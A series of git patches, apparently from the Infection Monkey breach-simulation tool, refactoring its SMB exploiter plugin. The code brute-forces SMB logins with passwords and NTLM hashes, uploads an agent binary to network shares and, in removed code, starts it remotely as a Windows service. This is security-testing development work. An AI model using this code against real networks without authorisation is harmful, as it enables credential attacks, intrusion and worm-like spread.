ntlm_hash, - self.options["smb_download_timeout"], - ) - - if remote_full_path is not None: - logger.info( - f"Successfully logged in to {self.host.ip} using SMB " - f"with {creds_for_log}" - ) - self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) - self.add_vuln_port( - "%s or %s" - % ( - SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], - ) - ) - self._publish_exploitation_event(timestamp, True) - self.exploit_result.exploitation_success = True - break - else: - # failed exploiting with this user/pass - self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - error_message = f"Failed to login using SMB with {creds_for_log}" - self._publish_exploitation_event(timestamp, False, error_message=error_message) - - except Exception as exc: - error_message = ( - f"Error while trying to copy file using SMB to {self.host.ip} with " - f"{creds_for_log}:{exc}" - ) - logger.error(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - continue - - return remote_full_path, SelectedCredentials(user, password, lm_hash, ntlm_hash), timestamp - - def _get_agent_command(self, remote_full_path: str, dest_path: PurePath) -> str: - if remote_full_path.lower() != str(dest_path).lower(): - cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { - "dropper_path": remote_full_path - } + build_monkey_commandline( - self.servers, - self.current_depth + 1, - str(dest_path), - ) - else: - cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { - "monkey_path": remote_full_path - } + build_monkey_commandline(self.servers, self.current_depth + 1) - - return cmdline - - def _get_rpc_connection(self, creds: SelectedCredentials) -> Optional[DCERPC_v5]: - for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values(): - rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip,)) - rpctransport.set_connect_timeout(LONG_REQUEST_TIMEOUT) - rpctransport.set_dport(port) - rpctransport.setRemoteHost(str(self.host.ip)) - if hasattr(rpctransport, "set_credentials"): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials( - creds.user, - get_plaintext(creds.password), - "", - get_plaintext(creds.lm_hash), - get_plaintext(creds.ntlm_hash), - None, - ) - rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS) - - scmr_rpc = rpctransport.get_dce_rpc() - - try: - scmr_rpc.connect() - except Exception as exc: - logger.debug( - f"Can't connect to SCM on exploited machine {self.host}, port {port} : " - f"{exc}" - ) - continue - - logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}") - smb_conn = rpctransport.get_smb_connection() - smb_conn.setTimeout(LONG_REQUEST_TIMEOUT) - if smb_conn is None: - return None - - return scmr_rpc - - return None - - def _run_agent_on_victim(self, scmr_rpc: DCERPC_v5, cmdline: str, start_time: float) -> bool: - scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) - resp = scmr.hROpenSCManagerW(scmr_rpc) - sc_handle = resp["lpScHandle"] - - try: - resp = scmr.hRCreateServiceW( - scmr_rpc, - sc_handle, - SMBExploiter.SMB_SERVICE_NAME, - SMBExploiter.SMB_SERVICE_NAME, - lpBinaryPathName=cmdline, - ) - except DCERPCSessionError as err: - if err.error_code == 0x431: - logger.debug(f'SMB service "{SMBExploiter.SMB_SERVICE_NAME}" already exists') - resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME) - else: - self.exploit_result.error_message = str(err) - self._publish_propagation_event(start_time, False, error_message=str(err)) - return False - - service = resp["lpServiceHandle"] - try: - scmr.hRStartServiceW(scmr_rpc, service) - self._publish_propagation_event(start_time, True) - except Exception: - error_message = "Failed to start the service" - self._publish_propagation_event(start_time, False, error_message=error_message) - - scmr.hRDeleteService(scmr_rpc, service) - scmr.hRCloseServiceHandle(scmr_rpc, service) - - return True diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 5035cd9e322..7a56bd388c3 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -18,7 +18,6 @@ Callback = Callable[[ExploiterName, TargetHost, ExploiterResultData], None] HARD_CODED_EXPLOITERS_REQUIRING_CREDENTIALS = [ - "SMBExploiter", "PowerShellExploiter", "WmiExploiter", "MSSQLExploiter", @@ -120,7 +119,6 @@ def _run_all_exploiters( results_callback: Callback, stop: Event, ): - for exploiter_name, exploiter_config in interruptible_iter(exploiter_configs.items(), stop): try: exploiter_results = self._run_exploiter( diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 62b842117cc..6ca87e4dbd1 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -57,7 +57,6 @@ from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter from infection_monkey.exploit.powershell import PowerShellExploiter -from infection_monkey.exploit.smbexec import SMBExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.zerologon import ZerologonExploiter @@ -439,9 +438,6 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: "PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), ) - puppet.load_plugin( - AgentPluginType.EXPLOITER, "SMBExploiter", exploit_wrapper.wrap(SMBExploiter) - ) puppet.load_plugin( AgentPluginType.EXPLOITER, "SSHExploiter", exploit_wrapper.wrap(SSHExploiter) ) diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/configuration_validation_constants.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/configuration_validation_constants.py index 401c06ca30c..3730471e03c 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/configuration_validation_constants.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/configuration_validation_constants.py @@ -195,23 +195,6 @@ "link": "https://techdocs.akamai.com/infection-monkey/docs/log4shell/", "properties": {}, }, - "SMBExploiter": { - "type": "object", - "title": "SMB Exploiter", - "safe": True, - "description": "Brute forces using credentials provided by user and hashes gathered by mimikatz.", - "link": "https://techdocs.akamai.com/infection-monkey/docs/smbexec/", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "description": "Maximum time allowd for uploading the Agent binary to the target", - "type": "number", - "default": 30, - "minimum": 0, - "maximum": 100, - } - }, - }, "PowerShellExploiter": { "type": "object", "title": "PowerShell Remoting Exploiter", diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index 5dcb31494bb..3c25b570aee 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -249,7 +249,6 @@ def test_callback_skipped_on_rejected_request( @pytest.mark.parametrize( "exploiter_config", [ - {"SMBExploiter": {}}, {"PowerShellExploiter": {}}, {"WmiExploiter": {}}, {"MSSQLExploiter": {}}, From 39ef2760a4b0941416fdc8a4b1ff8a1eeb12cdac Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Mar 2023 16:34:25 +0000 Subject: [PATCH 0723/1338] SMB: Extract SMB, SMBExploiter, SMBPropagator into separate modules --- .../agent_plugins/exploiters/smb/src/smb.py | 112 +++++++ .../exploiters/smb/src/smb_exploit_client.py | 199 ++++++++++++ .../exploiters/smb/src/smb_exploiter.py | 303 +----------------- .../smb/src/smb_propagation_client.py | 29 ++ 4 files changed, 352 insertions(+), 291 deletions(-) create mode 100644 monkey/agent_plugins/exploiters/smb/src/smb.py create mode 100644 monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py create mode 100644 monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb.py b/monkey/agent_plugins/exploiters/smb/src/smb.py new file mode 100644 index 00000000000..9a063142707 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/src/smb.py @@ -0,0 +1,112 @@ +import logging +from typing import Type + +# SMB +from impacket.dcerpc.v5 import srvs, transport +from impacket.dcerpc.v5.rpcrt import DCERPC_v5 +from impacket.smbconnection import SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SMBConnection + +from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext +from infection_monkey.i_puppet import TargetHost + +logger = logging.getLogger(__name__) + + +class SMB: + @classmethod + def create_connection(self, host: TargetHost) -> SMBConnection: + # Create a SMB connection with the credentials + try: + return SMBConnection( + str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT + ) + except Exception as err: + logger.debug( + f"Failed to create SMB connection to {host} on port 445. Trying port 139: {err}" + ) + + try: + return SMBConnection("*SMBSEVER", str(host.ip), sess_port=139) + except Exception as err: + logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") + return None + + @classmethod + def get_dialect(self, smb: SMBConnection) -> str: + return { + SMB_DIALECT: "SMBv1", + SMB2_DIALECT_002: "SMBv2.0", + SMB2_DIALECT_21: "SMBv2.1", + }.get(smb.getDialect(), "SMBv3.0") + + @classmethod + def login(self, smb: SMBConnection, credentials: Credentials) -> bool: + """True if login succeeded, False otherwise""" + try: + smb.login( + credentials.identity, + secret_for_type(credentials, Password), + "", + secret_for_type(credentials, LMHash), + secret_for_type(credentials, NTHash), + ) + except Exception as err: + logger.debug(f"Failed to login to with user {credentials.identity}: {err}") + return False + return True + + @classmethod + def logout_guest(self, smb: SMBConnection) -> bool: + if smb.isGuestSession() > 0: + try: + smb.logoff() + except Exception: + # TODO: If we failed to logout, we should handle that + pass + + return True + return False + + @classmethod + def query_server_info(self, smb: SMBConnection): + try: + info = SMB.execute_rpc_call(smb, "hNetrServerGetInfo", 102) + except Exception as err: + logger.debug(f"Failed to query server info: {err}") + return None + + return info + + @classmethod + def query_shared_resources(self, smb: SMBConnection): + try: + shares = SMB.execute_rpc_call(smb, "hNetrShareEnum", 2) + except Exception as err: + logger.debug(f"Failed to query shared resources: {err}") + return None + + return shares + + @staticmethod + def execute_rpc_call(smb, rpc_func, *args): + dce = SMB.get_dce_bind(smb) + rpc_method_wrapper = getattr(srvs, rpc_func, None) + if not rpc_method_wrapper: + raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) + + return rpc_method_wrapper(dce, *args) + + @staticmethod + def get_dce_bind(smb: SMBConnection) -> DCERPC_v5: + rpctransport = transport.SMBTransport( + smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb + ) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return dce + + +def secret_for_type(credentials: Credentials, secret_type: Type) -> str: + return get_plaintext(credentials.secret) if type(credentials.secret) == secret_type else "" diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py new file mode 100644 index 00000000000..a44d8182d92 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -0,0 +1,199 @@ +import logging +import ntpath +from io import BytesIO +from pathlib import PurePath +from typing import Any, Dict, Iterable, Optional, Tuple + +# SMB +from impacket.smbconnection import SMBConnection + +from common.credentials import Credentials +from common.event_queue import IAgentEventPublisher +from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit.tools import generate_brute_force_credentials +from infection_monkey.exploit.tools.helpers import get_agent_dst_path +from infection_monkey.i_puppet import TargetHost + +from .smb import SMB +from .smb_options import SMBOptions + +logger = logging.getLogger(__name__) + + +class SMBExploitClient: + """Manages the SMB connection, Exploitation events""" + + def __init__( + self, + agent_binary_repository: IAgentBinaryRepository, + agent_event_publisher: IAgentEventPublisher, + ): + self._agent_binary_repository = agent_binary_repository + self._agent_event_publisher = agent_event_publisher + self._smb: Optional[SMBConnection] = None + + def exploit( + self, host: TargetHost, credentials_list: Iterable[Credentials], options: SMBOptions + ) -> Optional[Tuple[str, Credentials]]: + """Exploits a host using SMB. Returns the remote path of the agent binary.""" + credentials = self.brute_force(host, credentials_list, options) + destination_path = get_agent_dst_path(host) + agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) + + remote_path = self.copy_agent(agent_binary, host, destination_path, credentials_list) + if not remote_path: + logger.debug(f"Failed to copy agent to {host}") + return None + + return remote_path, credentials + + def brute_force( + self, host: TargetHost, credentials: Iterable[Credentials], options: SMBOptions + ) -> Optional[Credentials]: + """Brute force SMB login""" + credentials_list = generate_brute_force_credentials(credentials) + for _credentials in credentials_list: + # TODO: Test if we only need to create the connection once + self._smb = SMB.create_connection(host) + if not self._smb: + continue + + self._smb = SMB.login(self._smb, _credentials) + if not self._smb: + continue + + self._smb.setTimeout(options.smb_connect_timeout) + + if SMB.logout_guest(self._smb): + continue + + # At this point, we've successfully logged in with a non-guest user + # Can we break out of the loop here? + return _credentials + + return None + + def copy_agent( + self, + agent_binary: BytesIO, + host, + path: PurePath, + credentials, + ) -> Optional[str]: + """File path if the agent was copied successfully, otherwise None""" + if not SMB.query_server_info(self._smb): + return None + + shares = self.query_shares(host, path) + for remote_path, share_name, share_path in self.connected_shares(host, shares, credentials): + destination = self.copy_agent_binary( + agent_binary, host, remote_path, share_name, share_path + ) + if destination: + return destination + + return None + + def query_shares(self, host: TargetHost, path: PurePath): + resp = SMB.query_shared_resources(self._smb) + if not resp: + return () + + high_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () + low_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () + file_name = path.name + + for i in range(len(resp)): + share_name = resp[i]["shi2_netname"].strip("\0 ") + share_path = resp[i]["shi2_path"].strip("\0 ") + current_uses = resp[i]["shi2_current_uses"] + max_uses = resp[i]["shi2_max_uses"] + + if current_uses >= max_uses: + logger.debug( + f"Skipping share '{share_name}' on victim %r because max uses is exceeded", + host, + ) + continue + elif not share_path: + logger.debug( + f"Skipping share '{share_name}' on victim %r because share path is invalid", + host, + ) + continue + + share_info = {"share_name": share_name, "share_path": share_path} + + if str(path).lower().startswith(share_path.lower()): + high_priority_shares += ((ntpath.sep + str(path)[len(share_path) :], share_info),) + + low_priority_shares += ((ntpath.sep + file_name, share_info),) + + return high_priority_shares + low_priority_shares + + def connected_shares(self, shares, host: TargetHost, credentials: Credentials): + """Yields a tuple of (remote_path, share_name, share_path) + Side effect: the SMBConnection is connected to the share""" + # Attempt to connect to a share over SMB + for remote_path, share in shares: + share_name = share["share_name"] + share_path = share["share_path"] + + # TODO: Do we really need to handle reconnects? + if not self._smb: + self.connect_with_user(host, credentials) + if not self._smb: + break + + try: + self._smb.connectTree(share_name) + except Exception as exc: + logger.error( + f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' + ) + continue + + yield remote_path, share_name, share_path + + def connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: + self._smb = SMB.create_connection(host) + if not self._smb: + return False + + self._smb = SMB.login(self._smb, credentials) + if not self._smb: + return False + + return True + + def copy_agent_binary( + self, + agent_binary: BytesIO, + host: TargetHost, + remote_path: str, + share_name: str, + share_path: str, + ) -> Optional[str]: + logger.debug( + f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", + share_path, + remote_path, + ) + + if not self._smb: + return None + + try: + # TODO: Use config timeout value + # self._smb.setTimeout(timeout) + self._smb.putFile(share_name, remote_path, agent_binary.read) + + logger.info( + f"Copied monkey agent to remote share '{share_name}' " + f"[{share_path}] on victim {host}" + ) + + return ntpath.join(share_path, remote_path.strip(ntpath.sep)) + except Exception as exc: + logger.error(f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}") + return None diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 923fab52f67..84873de8d61 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -1,20 +1,11 @@ import logging -import ntpath -from io import BytesIO -from pathlib import PurePath -from typing import Any, Dict, Iterable, Optional, Tuple, Type +from typing import Iterable -# SMB -from impacket.dcerpc.v5 import srvs, transport -from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.smbconnection import SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SMBConnection +from common.credentials import Credentials -from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext -from common.event_queue import IAgentEventPublisher -from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.exploit.tools import generate_brute_force_credentials -from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.i_puppet import TargetHost +from .smb_exploit_client import SMBExploitClient +from .smb_options import SMBOptions +from .smb_propagation_client import SMBPropagationClient logger = logging.getLogger(__name__) @@ -23,283 +14,13 @@ class SMBExploiter: def __init__( self, credentials: Iterable[Credentials], - agent_event_publisher: IAgentEventPublisher, - agent_binary_repository: IAgentBinaryRepository, + exploit_client: SMBExploitClient, + propagation_client: SMBPropagationClient, ): - # TODO: Add options self._credentials = credentials - self._agent_event_publisher = agent_event_publisher - self._agent_binary_repository = agent_binary_repository + self._exploit_client = exploit_client + self._propagation_client = propagation_client - def exploit_host(self, host): - smb, credentials = self.brute_force(host) - destination_path = get_agent_dst_path(host) - agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) - - remote_path = self.copy_agent(agent_binary, host, smb, destination_path, credentials) - if not remote_path: - logger.debug(f"Failed to copy agent to {host}") - return - - if not self.run_agent(host, remote_path): - logger.debug(f"Failed to run agent on {host}") - return - - def brute_force(self, host): - """Brute force SMB login""" - credentials_list = generate_brute_force_credentials(self._credentials) - for credentials in credentials_list: - # TODO: Test if we only need to create the connection once - smb_connection = SMB.create_connection(host) - if not smb_connection: - continue - - smb_connection = SMB.login(smb_connection, credentials) - if not smb_connection: - continue - - # TODO: Set the timeout based on config setting - # smb_connection.setTimeout(5) - - if SMB.logout_guest(smb_connection): - continue - - # At this point, we've successfully logged in with a non-guest user - # Can we break out of the loop here? - return (smb_connection, credentials) - - return None - - def copy_agent( - self, - agent_binary: BytesIO, - host, - smb_connection: SMBConnection, - path: PurePath, - credentials, - ) -> Optional[str]: - """True if the agent was copied successfully, False otherwise""" - if not SMB.query_server_info(smb_connection): - return None - - shares = self.query_shares(host, path, smb_connection) - for remote_path, share_name, share_path in self.connected_shares( - host, shares, smb_connection, credentials - ): - destination = self.copy_agent_binary( - agent_binary, host, smb_connection, remote_path, share_name, share_path - ) - if destination: - return destination - - return None - - def query_shares(self, host: TargetHost, path: PurePath, smb: SMBConnection): - resp = SMB.query_shared_resources(smb) - if not resp: - return () - - high_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () - low_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () - file_name = path.name - - for i in range(len(resp)): - share_name = resp[i]["shi2_netname"].strip("\0 ") - share_path = resp[i]["shi2_path"].strip("\0 ") - current_uses = resp[i]["shi2_current_uses"] - max_uses = resp[i]["shi2_max_uses"] - - if current_uses >= max_uses: - logger.debug( - f"Skipping share '{share_name}' on victim %r because max uses is exceeded", - host, - ) - continue - elif not share_path: - logger.debug( - f"Skipping share '{share_name}' on victim %r because share path is invalid", - host, - ) - continue - - share_info = {"share_name": share_name, "share_path": share_path} - - if str(path).lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + str(path)[len(share_path) :], share_info),) - - low_priority_shares += ((ntpath.sep + file_name, share_info),) - - return high_priority_shares + low_priority_shares - - def connected_shares( - self, shares, host: TargetHost, smb: SMBConnection, credentials: Credentials - ): - """Yields a tuple of (remote_path, share_name, share_path) - Side effect: the SMBConnection is connected to the share""" - # Attempt to connect to a share over SMB - for remote_path, share in shares: - share_name = share["share_name"] - share_path = share["share_path"] - - # TODO: Do we really need to handle reconnects? - if not smb: - smb = self.connect_with_user(host, credentials) - if not smb: - break - - try: - smb.connectTree(share_name) - except Exception as exc: - logger.error( - f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' - ) - continue - - yield remote_path, share_name, share_path - - def connect_with_user(self, host: TargetHost, credentials: Credentials): - smb = SMB.create_connection(host) - if not smb: - return None - - smb_connection = SMB.login(smb, credentials) - if not smb_connection: - return None - - return smb_connection - - def copy_agent_binary( - self, - agent_binary: BytesIO, - host: TargetHost, - smb: SMBConnection, - remote_path: str, - share_name: str, - share_path: str, - ) -> Optional[str]: - logger.debug( - f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", - share_path, - remote_path, - ) - - try: - # TODO: Use config timeout value - # smb.setTimeout(timeout) - smb.putFile(share_name, remote_path, agent_binary.read) - - logger.info( - f"Copied monkey agent to remote share '{share_name}' " - f"[{share_path}] on victim {host}" - ) - - return ntpath.join(share_path, remote_path.strip(ntpath.sep)) - except Exception as exc: - logger.error(f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}") - return None - - def run_agent(self, host, path: str): - # - Create RPC connection - # - Build agent run command - # - Use RPC to run the agent on the victim - pass - - -def secret_for_type(credentials: Credentials, secret_type: Type) -> str: - return get_plaintext(credentials.secret) if type(credentials.secret) == secret_type else "" - - -class SMB: - @classmethod - def create_connection(self, host: TargetHost) -> SMBConnection: - # Create a SMB connection with the credentials - try: - return SMBConnection( - str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT - ) - except Exception as err: - logger.debug( - f"Failed to create SMB connection to {host} on port 445. Trying port 139: {err}" - ) - - try: - return SMBConnection("*SMBSEVER", str(host.ip), sess_port=139) - except Exception as err: - logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") - return None - - @classmethod - def get_dialect(self, smb: SMBConnection) -> str: - return { - SMB_DIALECT: "SMBv1", - SMB2_DIALECT_002: "SMBv2.0", - SMB2_DIALECT_21: "SMBv2.1", - }.get(smb.getDialect(), "SMBv3.0") - - @classmethod - def login(self, smb: SMBConnection, credentials: Credentials) -> bool: - """True if login succeeded, False otherwise""" - try: - smb.login( - credentials.identity, - secret_for_type(credentials, Password), - "", - secret_for_type(credentials, LMHash), - secret_for_type(credentials, NTHash), - ) - except Exception as err: - logger.debug(f"Failed to login to with user {credentials.identity}: {err}") - return False - return True - - @classmethod - def logout_guest(self, smb: SMBConnection) -> bool: - if smb.isGuestSession() > 0: - try: - smb.logoff() - except Exception: - # TODO: If we failed to logout, we should handle that - pass - - return True - return False - - @classmethod - def query_server_info(self, smb: SMBConnection): - try: - info = SMB.execute_rpc_call(smb, "hNetrServerGetInfo", 102) - except Exception as err: - logger.debug(f"Failed to query server info: {err}") - return None - - return info - - @classmethod - def query_shared_resources(self, smb: SMBConnection): - try: - shares = SMB.execute_rpc_call(smb, "hNetrShareEnum", 2) - except Exception as err: - logger.debug(f"Failed to query shared resources: {err}") - return None - - return shares - - @staticmethod - def execute_rpc_call(smb, rpc_func, *args): - dce = SMB.get_dce_bind(smb) - rpc_method_wrapper = getattr(srvs, rpc_func, None) - if not rpc_method_wrapper: - raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) - - return rpc_method_wrapper(dce, *args) - - @staticmethod - def get_dce_bind(smb: SMBConnection) -> DCERPC_v5: - rpctransport = transport.SMBTransport( - smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb - ) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - return dce + def exploit_host(self, host, options: SMBOptions): + path = self._exploit_client.exploit(host, self._credentials, options) + self._propagation_client.propagate(host, path, self._credentials) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py new file mode 100644 index 00000000000..4d02012da03 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py @@ -0,0 +1,29 @@ +import logging + +from common.credentials import Credentials +from common.event_queue import IAgentEventPublisher +from infection_monkey.i_puppet import TargetHost + +logger = logging.getLogger(__name__) + + +class SMBPropagationClient: + """Manages the RPC/SMB connection, Propagation events""" + + def __init__(self, agent_event_publisher: IAgentEventPublisher): + self._agent_event_publisher = agent_event_publisher + + def propagate(self, host: TargetHost, path: str, credentials: Credentials) -> bool: + """Do all of the propagation stuff""" + + if not self._run_agent(host, path): + logger.debug(f"Failed to run agent on {host}") + return False + + return True + + def _run_agent(self, host, path: str): + # - Create RPC connection + # - Build agent run command + # - Use RPC to run the agent on the victim + pass From 802af464ce0eee58b19a64c10d7aa6d703bcc1ad Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Mar 2023 16:55:51 +0000 Subject: [PATCH 0724/1338] SMB: Set up SMB clients for SMBExpoiter --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 241f6f83351..9a515a47ff2 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -16,6 +16,7 @@ from .smb_exploit_client import SMBExploitClient from .smb_exploiter import SMBExploiter from .smb_options import SMBOptions +from .smb_propagation_client import SMBPropagationClient logger = logging.getLogger(__name__) @@ -32,9 +33,12 @@ def __init__( **kwargs, ): credentials = propagation_credentials_repository.get_credentials() - smb_exploit_client = SMBExploitClient(agent_id, agent_event_publisher, credentials) + smb_exploit_client = SMBExploitClient( + agent_binary_repository, agent_event_publisher, credentials + ) + smb_propagation_client = SMBPropagationClient(agent_event_publisher) - self._smb_exploiter = SMBExploiter(smb_exploit_client, agent_binary_repository) + self._smb_exploiter = SMBExploiter(credentials, smb_exploit_client, smb_propagation_client) def run( self, From bf4b76db079e416ca47d2f4638d18e366322d4e0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Mar 2023 16:57:50 +0000 Subject: [PATCH 0725/1338] SMB: Pass anticipated args to SMBPropagationClient --- .../exploiters/smb/src/smb_exploiter.py | 16 +++++++++++++--- .../exploiters/smb/src/smb_propagation_client.py | 16 +++++++++++++++- 2 files changed, 28 insertions(+), 4 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 84873de8d61..05e5ad42656 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -1,7 +1,8 @@ import logging -from typing import Iterable +from typing import Iterable, Sequence from common.credentials import Credentials +from common.types import Event from .smb_exploit_client import SMBExploitClient from .smb_options import SMBOptions @@ -21,6 +22,15 @@ def __init__( self._exploit_client = exploit_client self._propagation_client = propagation_client - def exploit_host(self, host, options: SMBOptions): + def exploit_host( + self, + host, + servers: Sequence[str], + current_depth: int, + options: SMBOptions, + interrupt: Event, + ): path = self._exploit_client.exploit(host, self._credentials, options) - self._propagation_client.propagate(host, path, self._credentials) + self._propagation_client.propagate( + host, path, self._credentials, servers, current_depth, options, interrupt + ) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py index 4d02012da03..90f72f4e689 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py @@ -1,19 +1,33 @@ import logging +from typing import Sequence from common.credentials import Credentials from common.event_queue import IAgentEventPublisher +from common.types import Event from infection_monkey.i_puppet import TargetHost +from .smb_options import SMBOptions + logger = logging.getLogger(__name__) +# TODO: Use the command builder, and pass it servers, current_depth class SMBPropagationClient: """Manages the RPC/SMB connection, Propagation events""" def __init__(self, agent_event_publisher: IAgentEventPublisher): self._agent_event_publisher = agent_event_publisher - def propagate(self, host: TargetHost, path: str, credentials: Credentials) -> bool: + def propagate( + self, + host: TargetHost, + path: str, + credentials: Credentials, + servers: Sequence[str], + current_depth: int, + options: SMBOptions, + interrupt: Event, + ) -> bool: """Do all of the propagation stuff""" if not self._run_agent(host, path): From 47d5b147d3a6e9c028549726138d81192b325bac Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Mar 2023 18:13:15 +0000 Subject: [PATCH 0726/1338] SMB: Return results from exploit_host --- .../exploiters/smb/src/smb_exploiter.py | 21 ++- .../exploiters/smb/test_smb_exploiter.py | 125 ++++++++++++++++++ 2 files changed, 141 insertions(+), 5 deletions(-) create mode 100644 monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 05e5ad42656..a36dc1a9c06 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -3,6 +3,7 @@ from common.credentials import Credentials from common.types import Event +from infection_monkey.i_puppet import ExploiterResultData, TargetHost from .smb_exploit_client import SMBExploitClient from .smb_options import SMBOptions @@ -24,13 +25,23 @@ def __init__( def exploit_host( self, - host, + host: TargetHost, servers: Sequence[str], current_depth: int, options: SMBOptions, interrupt: Event, - ): - path = self._exploit_client.exploit(host, self._credentials, options) - self._propagation_client.propagate( - host, path, self._credentials, servers, current_depth, options, interrupt + ) -> ExploiterResultData: + if interrupt.is_set(): + return ExploiterResultData() + + result = self._exploit_client.exploit(host, self._credentials, options) + if not result: + return ExploiterResultData() + if interrupt.is_set(): + return ExploiterResultData(exploitation_success=result is not None) + + path, credentials = result + propagated = self._propagation_client.propagate( + host, path, credentials, servers, current_depth, options, interrupt ) + return ExploiterResultData(exploitation_success=True, propagation_success=propagated) diff --git 